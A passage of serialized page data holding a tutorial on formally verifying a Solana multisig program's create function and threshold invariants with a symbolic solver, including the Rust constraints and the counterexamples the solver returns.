2,"value":9737},{"type":26,"tag":217,"props":142021,"children":142022},{"style":7064},[142023],{"type":32,"value":142024}," err!",{"type":26,"tag":217,"props":142026,"children":142027},{"style":7048},[142028],{"type":32,"value":1851},{"type":26,"tag":217,"props":142030,"children":142031},{"style":7119},[142032],{"type":32,"value":142033},"MsError",{"type":26,"tag":217,"props":142035,"children":142036},{"style":7149},[142037],{"type":32,"value":56166},{"type":26,"tag":217,"props":142039,"children":142040},{"style":7119},[142041],{"type":32,"value":142042},"EmptyMembers",{"type":26,"tag":217,"props":142044,"children":142045},{"style":7048},[142046],{"type":32,"value":7669},{"type":26,"tag":217,"props":142048,"children":142049},{"class":7028,"line":8162},[142050],{"type":26,"tag":217,"props":142051,"children":142052},{"style":7048},[142053],{"type":32,"value":9754},{"type":26,"tag":217,"props":142055,"children":142056},{"class":7028,"line":8197},[142057],{"type":26,"tag":217,"props":142058,"children":142059},{"emptyLinePlaceholder":17},[142060],{"type":32,"value":7817},{"type":26,"tag":217,"props":142062,"children":142063},{"class":7028,"line":8220},[142064],{"type":26,"tag":217,"props":142065,"children":142066},{"style":7033},[142067],{"type":32,"value":142068},"    // make sure we don't exceed u16 on first call\n",{"type":26,"tag":217,"props":142070,"children":142071},{"class":7028,"line":8228},[142072,142076,142080,142084,142088,142092,142096,142101,142105],{"type":26,"tag":217,"props":142073,"children":142074},{"style":7042},[142075],{"type":32,"value":9710},{"type":26,"tag":217,"props":142077,"children":142078},{"style":7054},[142079],{"type":32,"value":141969},{"type":26,"tag":217,"props":142081,"children":142082},{"style":7149},[142083],{"type":32,"value":66933},{"type":26,"tag":217,"props":142085,"children":142086},{"style":7119},[142087],{"type":32,"value":94410},{"type":26,"tag":217,"props":142089,"children":142090},{"style":7149},[142091],{"type":32,"value":56166},{"type":26,"tag":217,"props":142093,"children":142094},{"style":7064},[142095],{"type":32,"value":98448},{"type":26,"tag":217,"props":142097,"children":142098},{"style":7048},[142099],{"type":32,"value":142100},"(u16",{"type":26,"tag":217,"props":142102,"children":142103},{"style":7149},[142104],{"type":32,"value":56166},{"type":26,"tag":217,"props":142106,"children":142107},{"style":7048},[142108],{"type":32,"value":142109},"MAX) {\n",{"type":26,"tag":217,"props":142111,"children":142112},{"class":7028,"line":8292},[142113,142117,142121,142125,142129,142133,142138],{"type":26,"tag":217,"props":142114,"children":142115},{"style":7042},[142116],{"type":32,"value":9737},{"type":26,"tag":217,"props":142118,"children":142119},{"style":7064},[142120],{"type":32,"value":142024},{"type":26,"tag":217,"props":142122,"children":142123},{"style":7048},[142124],{"type":32,"value":1851},{"type":26,"tag":217,"props":142126,"children":142127},{"style":7119},[142128],{"type":32,"value":142033},{"type":26,"tag":217,"props":142130,"children":142131},{"style":7149},[142132],{"type":32,"value":56166},{"type":26,"tag":217,"props":142134,"children":142135},{"style":7119},[142136],{"type":32,"value":142137},"MaxMembersReached",{"type":26,"tag":217,"props":142139,"children":142140},{"style":7048},[142141],{"type":32,"value":7669},{"type":26,"tag":217,"props":142143,"children":142144},{"class":7028,"line":8351},[142145],{"type":26,"tag":217,"props":142146,"children":142147},{"style":7048},[142148],{"type":32,"value":9754},{"type":26,"tag":217,"props":142150,"children":142151},{"class":7028,"line":8391},[142152],{"type":26,"tag":217,"props":142153,"children":142154},{"emptyLinePlaceholder":17},[142155],{"type":32,"value":7817},{"type":26,"tag":217,"props":142157,"children":142158},{"class":7028,"line":8439},[142159],{"type":26,"tag":217,"props":142160,"children":142161},{"style":7033},[142162],{"type":32,"value":142163},"    // make sure threshold is valid\n",{"type":26,"tag":217,"props":142165,"children":142166},{"class":7028,"line":8448},[142167,142171,142175,142179,142183,142187,142191,142196,142200,142204,142208,142212,142216,142220,142224,142229,142234],{"type":26,"tag":217,"props":142168,"children":142169},{"style":7042},[142170],{"type":32,"value":9710},{"type":26,"tag":217,"props":142172,"children":142173},{"style":7119},[142174],{"type":32,"value":94410},{"type":26,"tag":217,"props":142176,"children":142177},{"style":7149},[142178],{"type":32,"value":56166},{"type":26,"tag":217,"props":142180,"children":142181},{"style":7064},[142182],{"type":32,"value":98448},{"type":26,"tag":217,"props":142184,"children":142185},{"style":7048},[142186],{"type":32,"value":1851},{"type":26,"tag":217,"props":142188,"children":142189},{"style":7054},[142190],{"type":32,"value":141264},{"type":26,"tag":217,"props":142192,"children":142193},{"style":7048},[142194],{"type":32,"value":142195},") \u003C ",{"type":26,"tag":217,"props":142197,"children":142198},{"style":7130},[142199],{"type":32,"value":185},{"type":26,"tag":217,"props":142201,"children":142202},{"style":7149},[142203],{"type":32,"value":12520},{"type":26,"tag":217,"props":142205,"children":142206},{"style":7119},[142207],{"type":32,"value":94410},{"type":26,"tag":217,"props":142209,"children":142210},{"style":7149},[142211],{"type":32,"value":56166},{"type":26,"tag":217,"props":142213,"children":142214},{"style":7064},[142215],{"type":32,"value":98448},{"type":26,"tag":217,"props":142217,"children":142218},{"style":7048},[142219],{"type":32,"value":1851},{"type":26,"tag":217,"props":142221,"children":142222},{"style":7054},[142223],{"type":32,"value":141264},{"type":26,"tag":217,"props":142225,"children":142226},{"style":7048},[142227],{"type":32,"value":142228},") > ",{"type":26,"tag":217,"props":142230,"children":142231},{"style":7054},[142232],{"type":32,"value":142233},"total_members",{"type":26,"tag":217,"props":142235,"children":142236},{"style":7048},[142237],{"type":32,"value":8064},{"type":26,"tag":217,"props":142239,"children":142240},{"class":7028,"line":8456},[142241,142245,142249,142253,142257,142261,142266],{"type":26,"tag":217,"props":142242,"children":142243},{"style":7042},[142244],{"type":32,"value":9737},{"type":26,"tag":217,"props":142246,"children":142247},{"style":7064},[142248],{"type":32,"value":142024},{"type":26,"tag":217,"props":142250,"children":142251},{"style":7048},[142252],{"type":32,"value":1851},{"type":26,"tag":217,"props":142254,"children":142255},{"style":7119},[142256],{"type":32,"value":142033},{"type":26,"tag":217,"props":142258,"children":142259},{"style":7149},[142260],{"type":32,"value":56166},{"type":26,"tag":217,"props":142262,"children":142263},{"style":7119},[142264],{"type":32,"value":142265},"InvalidThreshold",{"type":26,"tag":217,"props":142267,"children":142268},{"style":7048},[142269],{"type":32,"value":7669},{"type":26,"tag":217,"props":142271,"children":142272},{"class":7028,"line":8500},[142273],{"type":26,"tag":217,"props":142274,"children":142275},{"style":7048},[142276],{"type":32,"value":9754},{"type":26,"tag":217,"props":142278,"children":142279},{"class":7028,"line":8535},[142280],{"type":26,"tag":217,"props":142281,"children":142282},{"emptyLinePlaceholder":17},[142283],{"type":32,"value":7817},{"type":26,"tag":217,"props":142285,"children":142286},{"class":7028,"line":8664},[142287,142291,142295,142299,142303,142308,142312,142316],{"type":26,"tag":217,"props":142288,"children":142289},{"style":7054},[142290],{"type":32,"value":79513},{"type":26,"tag":217,"props":142292,"children":142293},{"style":7149},[142294],{"type":32,"value":180},{"type":26,"tag":217,"props":142296,"children":142297},{"style":7048},[142298],{"type":32,"value":91204},{"type":26,"tag":217,"props":142300,"children":142301},{"style":7149},[142302],{"type":32,"value":180},{"type":26,"tag":217,"props":142304,"children":142305},{"style":7048},[142306],{"type":32,"value":142307},"multisig",{"type":26,"tag":217,"props":142309,"children":142310},{"style":7149},[142311],{"type":32,"value":180},{"type":26,"tag":217,"props":142313,"children":142314},{"style":7064},[142315],{"type":32,"value":18200},{"type":26,"tag":217,"props":142317,"children":142318},{"style":7048},[142319],{"type":32,"value":10932},{"type":26,"tag":217,"props":142321,"children":142322},{"class":7028,"line":8700},[142323,142328],{"type":26,"tag":217,"props":142324,"children":142325},{"style":7054},[142326],{"type":32,"value":142327},"        threshold",{"type":26,"tag":217,"props":142329,"children":142330},{"style":7048},[142331],{"type":32,"value":10953},{"type":26,"tag":217,"props":142333,"children":142334},{"class":7028,"line":8708},[142335,142340],{"type":26,"tag":217,"props":142336,"children":142337},{"style":7054},[142338],{"type":32,"value":142339},"        create_key",{"type":26,"tag":217,"props":142341,"children":142342},{"style":7048},[142343],{"type":32,"value":10953},{"type":26,"tag":217,"props":142345,"children":142346},{"class":7028,"line":8716},[142347,142352],{"type":26,"tag":217,"props":142348,"children":142349},{"style":7054},[142350],{"type":32,"value":142351},"        members",{"type":26,"tag":217,"props":142353,"children":142354},{"style":7048},[142355],{"type":32,"value":10953},{"type":26,"tag":217,"props":142357,"children":142358},{"class":7028,"line":8725},[142359,142363,142367,142371,142376,142380,142384,142388,142393,142397,142401,142405],{"type":26,"tag":217,"props":142360,"children":142361},{"style":7149},[142362],{"type":32,"value":112985},{"type":26,"tag":217,"props":142364,"children":142365},{"style":7054},[142366],{"type":32,"value":79895},{"type":26,"tag":217,"props":142368,"children":142369},{"style":7149},[142370],{"type":32,"value":180},{"type":26,"tag":217,"props":142372,"children":142373},{"style":7048},[142374],{"type":32,"value":142375},"bumps",{"type":26,"tag":217,"props":142377,"children":142378},{"style":7149},[142379],{"type":32,"value":180},{"type":26,"tag":217,"props":142381,"children":142382},{"style":7064},[142383],{"type":32,"value":67276},{"type":26,"tag":217,"props":142385,"children":142386},{"style":7048},[142387],{"type":32,"value":1851},{"type":26,"tag":217,"props":142389,"children":142390},{"style":7338},[142391],{"type":32,"value":142392},"\"multisig\"",{"type":26,"tag":217,"props":142394,"children":142395},{"style":7048},[142396],{"type":32,"value":1889},{"type":26,"tag":217,"props":142398,"children":142399},{"style":7149},[142400],{"type":32,"value":180},{"type":26,"tag":217,"props":142402,"children":142403},{"style":7064},[142404],{"type":32,"value":97935},{"type":26,"tag":217,"props":142406,"children":142407},{"style":7048},[142408],{"type":32,"value":79153},{"type":26,"tag":217,"props":142410,"children":142411},{"class":7028,"line":8738},[142412],{"type":26,"tag":217,"props":142413,"children":142414},{"style":7048},[142415],{"type":32,"value":61246},{"type":26,"tag":217,"props":142417,"children":142418},{"class":7028,"line":8755},[142419],{"type":26,"tag":217,"props":142420,"children":142421},{"style":7048},[142422],{"type":32,"value":7184},{"type":26,"tag":39,"props":142424,"children":142425},{},[142426,142428,142433,142435,142440],{"type":32,"value":142427},"We can start by testing an empty ",{"type":26,"tag":83,"props":142429,"children":142431},{"className":142430},[],[142432],{"type":32,"value":138719},{"type":32,"value":142434}," (this will default to ",{"type":26,"tag":83,"props":142436,"children":142438},{"className":142437},[],[142439],{"type":32,"value":231},{"type":32,"value":16833},{"type":26,"tag":207,"props":142442,"children":142444},{"code":142443,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if()]\npub fn create(...) { ... }\n",[142445],{"type":26,"tag":83,"props":142446,"children":142447},{"__ignoreMap":8},[142448,142456],{"type":26,"tag":217,"props":142449,"children":142450},{"class":7028,"line":7029},[142451],{"type":26,"tag":217,"props":142452,"children":142453},{"style":7048},[142454],{"type":32,"value":142455},"#[succeeds_if()]\n",{"type":26,"tag":217,"props":142457,"children":142458},{"class":7028,"line":6770},[142459,142463,142467,142471,142475,142479,142483,142487],{"type":26,"tag":217,"props":142460,"children":142461},{"style":7154},[142462],{"type":32,"value":56830},{"type":26,"tag":217,"props":142464,"children":142465},{"style":7154},[142466],{"type":32,"value":56835},{"type":26,"tag":217,"props":142468,"children":142469},{"style":7064},[142470],{"type":32,"value":141747},{"type":26,"tag":217,"props":142472,"children":142473},{"style":7048},[142474],{"type":32,"value":1851},{"type":26,"tag":217,"props":142476,"children":142477},{"style":7149},[142478],{"type":32,"value":13251},{"type":26,"tag":217,"props":142480,"children":142481},{"style":7048},[142482],{"type":32,"value":84747},{"type":26,"tag":217,"props":142484,"children":142485},{"style":7149},[142486],{"type":32,"value":13251},{"type":26,"tag":217,"props":142488,"children":142489},{"style":7048},[142490],{"type":32,"value":65351},{"type":26,"tag":39,"props":142492,"children":142493},{},[142494],{"type":32,"value":142495},"Running the solver, we get:",{"type":26,"tag":207,"props":142497,"children":142499},{"code":142498},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[142500],{"type":26,"tag":83,"props":142501,"children":142502},{"__ignoreMap":8},[142503],{"type":32,"value":142498},{"type":26,"tag":39,"props":142505,"children":142506},{},[142507,142508,142513],{"type":32,"value":11559},{"type":26,"tag":83,"props":142509,"children":142511},{"className":142510},[],[142512],{"type":32,"value":231},{"type":32,"value":142514}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":26,"tag":39,"props":142516,"children":142517},{},[142518],{"type":32,"value":142519},"We can ask the solver to produce a counterexample:",{"type":26,"tag":207,"props":142521,"children":142523},{"code":142522},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[142524],{"type":26,"tag":83,"props":142525,"children":142526},{"__ignoreMap":8},[142527],{"type":32,"value":142522},{"type":26,"tag":39,"props":142529,"children":142530},{},[142531],{"type":32,"value":142532},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":26,"tag":39,"props":142534,"children":142535},{},[142536],{"type":26,"tag":65,"props":142537,"children":142538},{},[142539,142541,142547],{"type":32,"value":142540},"Note also that the verifier decided to use a ",{"type":26,"tag":83,"props":142542,"children":142544},{"className":142543},[],[142545],{"type":32,"value":142546},"SparseVec",{"type":32,"value":142548}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":26,"tag":39,"props":142550,"children":142551},{},[142552],{"type":26,"tag":65,"props":142553,"children":142554},{},[142555,142557,142562,142563,142569,142571,142576,142578,142583],{"type":32,"value":142556},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":26,"tag":83,"props":142558,"children":142560},{"className":142559},[],[142561],{"type":32,"value":13495},{"type":32,"value":1308},{"type":26,"tag":83,"props":142564,"children":142566},{"className":142565},[],[142567],{"type":32,"value":142568},"pop",{"type":32,"value":142570}," are stubbed out to simply panic for the ",{"type":26,"tag":83,"props":142572,"children":142574},{"className":142573},[],[142575],{"type":32,"value":142546},{"type":32,"value":142577}," and if this code tried to do that we would fall back to the concrete ",{"type":26,"tag":83,"props":142579,"children":142581},{"className":142580},[],[142582],{"type":32,"value":907},{"type":32,"value":142584}," type.",{"type":26,"tag":39,"props":142586,"children":142587},{},[142588],{"type":32,"value":142589},"We can add this to our constraint and try again:",{"type":26,"tag":207,"props":142591,"children":142593},{"code":142592,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[142594],{"type":26,"tag":83,"props":142595,"children":142596},{"__ignoreMap":8},[142597,142605,142642,142649],{"type":26,"tag":217,"props":142598,"children":142599},{"class":7028,"line":7029},[142600],{"type":26,"tag":217,"props":142601,"children":142602},{"style":7048},[142603],{"type":32,"value":142604},"#[succeeds_if(\n",{"type":26,"tag":217,"props":142606,"children":142607},{"class":7028,"line":6770},[142608,142613,142617,142621,142625,142629,142633,142637],{"type":26,"tag":217,"props":142609,"children":142610},{"style":7048},[142611],{"type":32,"value":142612},"    (threshold ",{"type":26,"tag":217,"props":142614,"children":142615},{"style":7154},[142616],{"type":32,"value":91735},{"type":26,"tag":217,"props":142618,"children":142619},{"style":7119},[142620],{"type":32,"value":94410},{"type":26,"tag":217,"props":142622,"children":142623},{"style":7048},[142624],{"type":32,"value":8380},{"type":26,"tag":217,"props":142626,"children":142627},{"style":7149},[142628],{"type":32,"value":137987},{"type":26,"tag":217,"props":142630,"children":142631},{"style":7048},[142632],{"type":32,"value":141890},{"type":26,"tag":217,"props":142634,"children":142635},{"style":7149},[142636],{"type":32,"value":180},{"type":26,"tag":217,"props":142638,"children":142639},{"style":7048},[142640],{"type":32,"value":142641},"len()\n",{"type":26,"tag":217,"props":142643,"children":142644},{"class":7028,"line":6779},[142645],{"type":26,"tag":217,"props":142646,"children":142647},{"style":7048},[142648],{"type":32,"value":90743},{"type":26,"tag":217,"props":142650,"children":142651},{"class":7028,"line":7140},[142652,142656,142660,142664,142668,142672,142676,142680],{"type":26,"tag":217,"props":142653,"children":142654},{"style":7154},[142655],{"type":32,"value":56830},{"type":26,"tag":217,"props":142657,"children":142658},{"style":7154},[142659],{"type":32,"value":56835},{"type":26,"tag":217,"props":142661,"children":142662},{"style":7064},[142663],{"type":32,"value":141747},{"type":26,"tag":217,"props":142665,"children":142666},{"style":7048},[142667],{"type":32,"value":1851},{"type":26,"tag":217,"props":142669,"children":142670},{"style":7149},[142671],{"type":32,"value":13251},{"type":26,"tag":217,"props":142673,"children":142674},{"style":7048},[142675],{"type":32,"value":84747},{"type":26,"tag":217,"props":142677,"children":142678},{"style":7149},[142679],{"type":32,"value":13251},{"type":26,"tag":217,"props":142681,"children":142682},{"style":7048},[142683],{"type":32,"value":65351},{"type":26,"tag":39,"props":142685,"children":142686},{},[142687],{"type":32,"value":142688},"Verification failed again! This time we get a different counterexample:",{"type":26,"tag":207,"props":142690,"children":142692},{"code":142691},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[142693],{"type":26,"tag":83,"props":142694,"children":142695},{"__ignoreMap":8},[142696],{"type":32,"value":142691},{"type":26,"tag":39,"props":142698,"children":142699},{},[142700],{"type":32,"value":142701},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":26,"tag":207,"props":142703,"children":142705},{"code":142704,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[142706],{"type":26,"tag":83,"props":142707,"children":142708},{"__ignoreMap":8},[142709,142716,142751,142771,142778],{"type":26,"tag":217,"props":142710,"children":142711},{"class":7028,"line":7029},[142712],{"type":26,"tag":217,"props":142713,"children":142714},{"style":7048},[142715],{"type":32,"value":142604},{"type":26,"tag":217,"props":142717,"children":142718},{"class":7028,"line":6770},[142719,142723,142727,142731,142735,142739,142743,142747],{"type":26,"tag":217,"props":142720,"children":142721},{"style":7048},[142722],{"type":32,"value":142612},{"type":26,"tag":217,"props":142724,"children":142725},{"style":7154},[142726],{"type":32,"value":91735},{"type":26,"tag":217,"props":142728,"children":142729},{"style":7119},[142730],{"type":32,"value":94410},{"type":26,"tag":217,"props":142732,"children":142733},{"style":7048},[142734],{"type":32,"value":8380},{"type":26,"tag":217,"props":142736,"children":142737},{"style":7149},[142738],{"type":32,"value":137987},{"type":26,"tag":217,"props":142740,"children":142741},{"style":7048},[142742],{"type":32,"value":141890},{"type":26,"tag":217,"props":142744,"children":142745},{"style":7149},[142746],{"type":32,"value":180},{"type":26,"tag":217,"props":142748,"children":142749},{"style":7048},[142750],{"type":32,"value":142641},{"type":26,"tag":217,"props":142752,"children":142753},{"class":7028,"line":6779},[142754,142758,142763,142767],{"type":26,"tag":217,"props":142755,"children":142756},{"style":7149},[142757],{"type":32,"value":93735},{"type":26,"tag":217,"props":142759,"children":142760},{"style":7048},[142761],{"type":32,"value":142762}," threshold ",{"type":26,"tag":217,"props":142764,"children":142765},{"style":7149},[142766],{"type":32,"value":9720},{"type":26,"tag":217,"props":142768,"children":142769},{"style":7048},[142770],{"type":32,"value":92366},{"type":26,"tag":217,"props":142772,"children":142773},{"class":7028,"line":7140},[142774],{"type":26,"tag":217,"props":142775,"children":142776},{"style":7048},[142777],{"type":32,"value":90743},{"type":26,"tag":217,"props":142779,"children":142780},{"class":7028,"line":7165},[142781,142785,142789,142793,142797,142801,142805,142809],{"type":26,"tag":217,"props":142782,"children":142783},{"style":7154},[142784],{"type":32,"value":56830},{"type":26,"tag":217,"props":142786,"children":142787},{"style":7154},[142788],{"type":32,"value":56835},{"type":26,"tag":217,"props":142790,"children":142791},{"style":7064},[142792],{"type":32,"value":141747},{"type":26,"tag":217,"props":142794,"children":142795},{"style":7048},[142796],{"type":32,"value":1851},{"type":26,"tag":217,"props":142798,"children":142799},{"style":7149},[142800],{"type":32,"value":13251},{"type":26,"tag":217,"props":142802,"children":142803},{"style":7048},[142804],{"type":32,"value":84747},{"type":26,"tag":217,"props":142806,"children":142807},{"style":7149},[142808],{"type":32,"value":13251},{"type":26,"tag":217,"props":142810,"children":142811},{"style":7048},[142812],{"type":32,"value":65351},{"type":26,"tag":39,"props":142814,"children":142815},{},[142816],{"type":32,"value":142817},"A third counterexample:",{"type":26,"tag":207,"props":142819,"children":142821},{"code":142820},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[142822],{"type":26,"tag":83,"props":142823,"children":142824},{"__ignoreMap":8},[142825],{"type":32,"value":142820},{"type":26,"tag":39,"props":142827,"children":142828},{},[142829,142831,142837],{"type":32,"value":142830},"Here we see the size of our ",{"type":26,"tag":83,"props":142832,"children":142834},{"className":142833},[],[142835],{"type":32,"value":142836},"members",{"type":32,"value":142838}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":26,"tag":207,"props":142840,"children":142842},{"code":142841,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[142843],{"type":26,"tag":83,"props":142844,"children":142845},{"__ignoreMap":8},[142846,142853,142888,142909,142961,142968],{"type":26,"tag":217,"props":142847,"children":142848},{"class":7028,"line":7029},[142849],{"type":26,"tag":217,"props":142850,"children":142851},{"style":7048},[142852],{"type":32,"value":142604},{"type":26,"tag":217,"props":142854,"children":142855},{"class":7028,"line":6770},[142856,142860,142864,142868,142872,142876,142880,142884],{"type":26,"tag":217,"props":142857,"children":142858},{"style":7048},[142859],{"type":32,"value":142612},{"type":26,"tag":217,"props":142861,"children":142862},{"style":7154},[142863],{"type":32,"value":91735},{"type":26,"tag":217,"props":142865,"children":142866},{"style":7119},[142867],{"type":32,"value":94410},{"type":26,"tag":217,"props":142869,"children":142870},{"style":7048},[142871],{"type":32,"value":8380},{"type":26,"tag":217,"props":142873,"children":142874},{"style":7149},[142875],{"type":32,"value":137987},{"type":26,"tag":217,"props":142877,"children":142878},{"style":7048},[142879],{"type":32,"value":141890},{"type":26,"tag":217,"props":142881,"children":142882},{"style":7149},[142883],{"type":32,"value":180},{"type":26,"tag":217,"props":142885,"children":142886},{"style":7048},[142887],{"type":32,"value":142641},{"type":26,"tag":217,"props":142889,"children":142890},{"class":7028,"line":6779},[142891,142895,142900,142904],{"type":26,"tag":217,"props":142892,"children":142893},{"style":7149},[142894],{"type":32,"value":93735},{"type":26,"tag":217,"props":142896,"children":142897},{"style":7048},[142898],{"type":32,"value":142899}," (threshold ",{"type":26,"tag":217,"props":142901,"children":142902},{"style":7149},[142903],{"type":32,"value":9720},{"type":26,"tag":217,"props":142905,"children":142906},{"style":7048},[142907],{"type":32,"value":142908}," 0)\n",{"type":26,"tag":217,"props":142910,"children":142911},{"class":7028,"line":7140},[142912,142916,142920,142924,142928,142932,142936,142941,142945,142949,142953,142957],{"type":26,"tag":217,"props":142913,"children":142914},{"style":7149},[142915],{"type":32,"value":93735},{"type":26,"tag":217,"props":142917,"children":142918},{"style":7048},[142919],{"type":32,"value":141509},{"type":26,"tag":217,"props":142921,"children":142922},{"style":7149},[142923],{"type":32,"value":180},{"type":26,"tag":217,"props":142925,"children":142926},{"style":7048},[142927],{"type":32,"value":139565},{"type":26,"tag":217,"props":142929,"children":142930},{"style":7149},[142931],{"type":32,"value":137987},{"type":26,"tag":217,"props":142933,"children":142934},{"style":7048},[142935],{"type":32,"value":7051},{"type":26,"tag":217,"props":142937,"children":142938},{"style":7119},[142939],{"type":32,"value":142940},"u16",{"type":26,"tag":217,"props":142942,"children":142943},{"style":7149},[142944],{"type":32,"value":56166},{"type":26,"tag":217,"props":142946,"children":142947},{"style":7119},[142948],{"type":32,"value":139583},{"type":26,"tag":217,"props":142950,"children":142951},{"style":7154},[142952],{"type":32,"value":97268},{"type":26,"tag":217,"props":142954,"children":142955},{"style":7119},[142956],{"type":32,"value":94410},{"type":26,"tag":217,"props":142958,"children":142959},{"style":7048},[142960],{"type":32,"value":18548},{"type":26,"tag":217,"props":142962,"children":142963},{"class":7028,"line":7165},[142964],{"type":26,"tag":217,"props":142965,"children":142966},{"style":7048},[142967],{"type":32,"value":90743},{"type":26,"tag":217,"props":142969,"children":142970},{"class":7028,"line":7178},[142971,142975,142979,142983,142987,142991,142995,142999],{"type":26,"tag":217,"props":142972,"children":142973},{"style":7154},[142974],{"type":32,"value":56830},{"type":26,"tag":217,"props":142976,"children":142977},{"style":7154},[142978],{"type":32,"value":56835},{"type":26,"tag":217,"props":142980,"children":142981},{"style":7064},[142982],{"type":32,"value":141747},{"type":26,"tag":217,"props":142984,"children":142985},{"style":7048},[142986],{"type":32,"value":1851},{"type":26,"tag":217,"props":142988,"children":142989},{"style":7149},[142990],{"type":32,"value":13251},{"type":26,"tag":217,"props":142992,"children":142993},{"style":7048},[142994],{"type":32,"value":84747},{"type":26,"tag":217,"props":142996,"children":142997},{"style":7149},[142998],{"type":32,"value":13251},{"type":26,"tag":217,"props":143000,"children":143001},{"style":7048},[143002],{"type":32,"value":65351},{"type":26,"tag":39,"props":143004,"children":143005},{},[143006],{"type":32,"value":143007},"And now we get:",{"type":26,"tag":207,"props":143009,"children":143011},{"code":143010},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[143012],{"type":26,"tag":83,"props":143013,"children":143014},{"__ignoreMap":8},[143015],{"type":32,"value":143010},{"type":26,"tag":39,"props":143017,"children":143018},{},[143019],{"type":32,"value":143020},"🥳🥳🥳",{"type":26,"tag":39,"props":143022,"children":143023},{},[143024],{"type":32,"value":143025},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":26,"tag":207,"props":143027,"children":143029},{"code":143028,"language":56139,"meta":8,"className":56140,"style":8},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[143030],{"type":26,"tag":83,"props":143031,"children":143032},{"__ignoreMap":8},[143033,143056,143087],{"type":26,"tag":217,"props":143034,"children":143035},{"class":7028,"line":7029},[143036,143040,143044,143048,143052],{"type":26,"tag":217,"props":143037,"children":143038},{"style":7042},[143039],{"type":32,"value":7045},{"type":26,"tag":217,"props":143041,"children":143042},{"style":7054},[143043],{"type":32,"value":141969},{"type":26,"tag":217,"props":143045,"children":143046},{"style":7149},[143047],{"type":32,"value":13147},{"type":26,"tag":217,"props":143049,"children":143050},{"style":7130},[143051],{"type":32,"value":9742},{"type":26,"tag":217,"props":143053,"children":143054},{"style":7048},[143055],{"type":32,"value":8064},{"type":26,"tag":217,"props":143057,"children":143058},{"class":7028,"line":6770},[143059,143063,143067,143071,143075,143079,143083],{"type":26,"tag":217,"props":143060,"children":143061},{"style":7042},[143062],{"type":32,"value":7171},{"type":26,"tag":217,"props":143064,"children":143065},{"style":7064},[143066],{"type":32,"value":142024},{"type":26,"tag":217,"props":143068,"children":143069},{"style":7048},[143070],{"type":32,"value":1851},{"type":26,"tag":217,"props":143072,"children":143073},{"style":7119},[143074],{"type":32,"value":142033},{"type":26,"tag":217,"props":143076,"children":143077},{"style":7149},[143078],{"type":32,"value":56166},{"type":26,"tag":217,"props":143080,"children":143081},{"style":7119},[143082],{"type":32,"value":142042},{"type":26,"tag":217,"props":143084,"children":143085},{"style":7048},[143086],{"type":32,"value":7669},{"type":26,"tag":217,"props":143088,"children":143089},{"class":7028,"line":6779},[143090],{"type":26,"tag":217,"props":143091,"children":143092},{"style":7048},[143093],{"type":32,"value":7184},{"type":26,"tag":39,"props":143095,"children":143096},{},[143097,143099,143105,143107,143112,143114,143119,143121,143126],{"type":32,"value":143098},"In this case this is actually redundant because if ",{"type":26,"tag":83,"props":143100,"children":143102},{"className":143101},[],[143103],{"type":32,"value":143104},"members.len() == 0",{"type":32,"value":143106}," then our threshold would also have to be ",{"type":26,"tag":83,"props":143108,"children":143110},{"className":143109},[],[143111],{"type":32,"value":1883},{"type":32,"value":143113}," (and our ",{"type":26,"tag":83,"props":143115,"children":143117},{"className":143116},[],[143118],{"type":32,"value":141264},{"type":32,"value":143120}," is not allowed to be ",{"type":26,"tag":83,"props":143122,"children":143124},{"className":143123},[],[143125],{"type":32,"value":1883},{"type":32,"value":143127},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":26,"tag":607,"props":143129,"children":143131},{"id":143130},"_2-verify-threshold-requirements",[143132],{"type":32,"value":143133},"2. Verify threshold requirements",{"type":26,"tag":39,"props":143135,"children":143136},{},[143137],{"type":32,"value":143138},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":26,"tag":39,"props":143140,"children":143141},{},[143142,143144,143149],{"type":32,"value":143143},"Unlike the previous example, we want to verify this in ",{"type":26,"tag":65,"props":143145,"children":143146},{},[143147],{"type":32,"value":143148},"all",{"type":32,"value":143150}," cases. I.e. any instruction that could mutate the multisig account.",{"type":26,"tag":39,"props":143152,"children":143153},{},[143154,143156,143160,143162,143167],{"type":32,"value":143155},"In this case, we want to model this as an ",{"type":26,"tag":65,"props":143157,"children":143158},{},[143159],{"type":32,"value":140298},{"type":32,"value":143161}," on the ",{"type":26,"tag":83,"props":143163,"children":143165},{"className":143164},[],[143166],{"type":32,"value":141256},{"type":32,"value":143168}," account struct:",{"type":26,"tag":207,"props":143170,"children":143172},{"code":143171,"language":56139,"meta":8,"className":56140,"style":8},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: 